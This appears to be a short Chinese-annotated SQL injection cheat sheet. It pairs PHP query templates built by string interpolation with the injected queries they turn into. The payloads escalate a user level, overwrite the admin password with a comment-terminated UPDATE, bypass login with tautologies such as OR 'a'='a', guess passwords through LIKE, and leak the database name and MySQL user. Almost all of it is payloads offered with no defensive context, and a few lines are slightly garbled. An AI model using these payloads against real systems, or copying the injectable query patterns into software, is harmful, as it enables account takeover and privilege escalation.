“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]'
"UPDATE news SET Votes=Votes 1, score=score $note WHERE idnews='$id'";
长用函数：
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如：
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段

$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' （经典）
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
SELECT * FROM table WHERE msg LIKE '%hop'
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
